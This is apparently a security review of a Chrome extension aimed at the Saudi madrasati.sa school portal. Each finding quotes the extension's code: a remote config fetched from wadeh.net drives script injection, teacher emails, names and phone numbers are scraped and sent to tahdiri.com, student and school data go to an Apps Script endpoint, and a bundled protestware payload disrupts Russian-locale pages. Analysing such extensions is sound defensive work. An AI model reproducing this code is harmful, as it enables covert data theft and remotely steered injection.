تحضيري

Content script (a bracket-notation/hex-obfuscated jQuery 3.6.1 build) silently fetches arbitrary JSON from `https://wadeh.net/ta1.php` and persists it to `chrome.storage.local` under key `qqw`. wadeh.net is not the vendor's stated domain (tahdiri.com) nor in the manifest's match patterns; this introduces an undisclosed third-party C2/config channel whose response is later used to drive an in-page script injection (see contentScript2.js:4217). The same pattern exists in contentScript4.js for `wadeh.net/ta2.php`.

var al = '3.6.1',  am = function(cF, cG) {    return new am['fn']['init'](cF, cG);  };fetch('https://wadeh.net/ta1.php')['then'](cF => {  return cF['json']();})['then'](cF => {  chrome['storage']['local']['set']({    'qqw': JSON['stringify'](cF)  })['then'](() => {});});

The previously cached wadeh.net response (`qqw`) is concatenated unsanitized into a query string and used as the `src` of an injected `<script>` tag pointing at the web-accessible `myscript2.js`. This gives the remote wadeh.net operator a covert channel to steer in-page script behavior on every madrasati.sa page load, effectively a remote-driven code injection / configuration backdoor against a Saudi MoE education portal. The identical sink exists in contentScript4.js:4217 with `myscript4.js` and `qqws`.

function injectCode(a) {  var b = document['createElement']('script');  b['src'] = a, b['onload'] = function() {    this['remove']();  }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => {  a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[    'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));});

The extension scrapes the logged-in teacher's Microsoft/MoE email, full legal name (first+second+family) and Saudi mobile number (with country prefix 966 stripped) out of a madrasati.sa profile page and stores them in localStorage, then immediately POSTs the email to `https://tahdiri.com/api/subscripe` (line 1897) and embeds email/name/phone in URLs to `tahdiri.com/pricing/...` (line 2168) and `tahdiri.com/addpackage/...` (line 2969). This is unauthorized collection of personally identifiable information of teachers from a government education portal, transmitted to a third-party server, beyond what the manifest discloses.

function One() {  $.ajax({    url: data_url,    type: "GET",    success: function(t) {      let e = new DOMParser()        .parseFromString(t, "text/html");      email = $(e)        .find(email_microsoft)        .val(), name = $(e)        .find("#FirstNameId")        .val() + " " + $(e)        .find("#SecondNameId")        .val() + " " + $(e)        .find("#FamilyNameId")        .val(), phone_teacher = $(e)        .find("#MobileId")        .val()        .split(966)[1], localStorage.setItem("email", email), localStorage.setItem("name", name), localStorage        .setItem("phone_teacher", phone_teacher), Two()    }  })}

School/teacher/student identifiers harvested from the host page (subject `mada`, class `saf`, teacher `molm`, school `mdrsa`, student list `tolab`) are concatenated into the query string of an anonymous Google Apps Script endpoint (AKfycbx...) controlled by the extension author. Routing K-12 student/teacher/school data through an opaque Apps Script `exec` URL bypasses the audit/retention controls of madrasati.sa and constitutes undisclosed exfiltration of sensitive minor-related data.

document.getElementById("dddnnomnd7dbbdaaz")  .addEventListener("click", function() {    window.open(      `https://script.google.com/macros/s/AKfycbxklT_IwI64692f9kNt5kpG_69J0H6Ha3UnASyuUZaPoECbVZ5uwDljuvP447YYxX6q/exec?mada=${document.getElementById("madeokse3ee3d").value}&saf=${$('input[name="fsl"]:checked').attr("id").trim()}&molm=${window.name.split(",,")[2]}&mdrsa=${window.name.split(",,")[3]}&tolab=${$('input[name="fsl"]:checked').val().replaceAll('"',"").replaceAll("[","").replaceAll("]","")}`,      "_blank")  })

Background polling loop that reads the user's email from localStorage and POSTs it together with usage counters to `https://tahdiri.com/api/user-request`, then auto-closes the browser tab via `window.close()`. The combination of identifier-keyed beaconing plus forced tab closure is unusual for a teacher-prep utility and represents tracking/usage-attribution telemetry tied to a personally identifying email rather than an anonymous installation ID.

$(document)  .ready(function() {      let e = setInterval(function() {            JSON.parse(localStorage.getItem("close_window")) && (clearInterval(e), localStorage.setItem("close_window",                  !1), JSON.parse(localStorage.getItem("busy")) ? (localStorage.setItem("finished", !0), window                  .close()) : $.ajax({                    url: "https://tahdiri.com/api/user-request",                    dataType: "json",                    type: "POST",                    async: !1,                    contentType: "application/json; charset=utf-8",                    data: JSON.stringify({                      used_request: JSON.parse(localStorage.getItem("numbers")),                      email: localStorage.getItem("email")                    }),                    success: function(e) {                      if (localStorage.setItem("send_request", !1), localStorage.setItem("finished", !0), window                        .close(), e.payload.Max_Request != localStorage.getItem("numbers")) {                        $.ajax(this);                        return                      }                    },

declarativeNetRequest rule blocks a specific cookie-handling script (`jquery.cookie.js`) loaded by the host madrasati.sa platform. Suppressing the host site's cookie helper while the extension simultaneously injects scripts and scrapes credentials from form fields is a network-interception pattern that can disable host-side anti-tampering or session safeguards, even if the stated motive is to bypass a UI quirk.

[  {    "id": 1,    "priority": 1,    "action": {      "type": "block"    },    "condition": {      "urlFilter": "https://vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12"    },    "domains": [      "schools.madrasati.sa",      "external.madrasati.sa"    ],    "resourceTypes": [      "main_frame"    ]  }]

Embedded SweetAlert2 v11.7.1 contains the well-known protestware payload that, on Russian-language browsers visiting `.ru/.su/.xn--p1ai` hosts, disables all pointer events on `document.body` and loops an external MP3 from `flag-gimn.ru`. While unlikely to fire for the extension's Saudi audience, it is a sabotage payload bundled into a privileged content script and triggers a cross-origin media fetch plus UI denial-of-service when conditions are met.

if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(    /\.(ru|su|xn--p1ai)$/)) {  let or = new Date,    ol = localStorage.getItem("swal-initiation");  ol ? (or.getTime() - Date.parse(ol)) / 864e5 > 3 && setTimeout(() => {    document.body.style.pointerEvents = "none";    let t = document.createElement("audio");    t.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", t.loop = !0, document.body      .appendChild(t), setTimeout(() => {        t.play()          .catch(() => {})      }, 2500)  }, 500) : localStorage.setItem("swal-initiation", `${or}`)}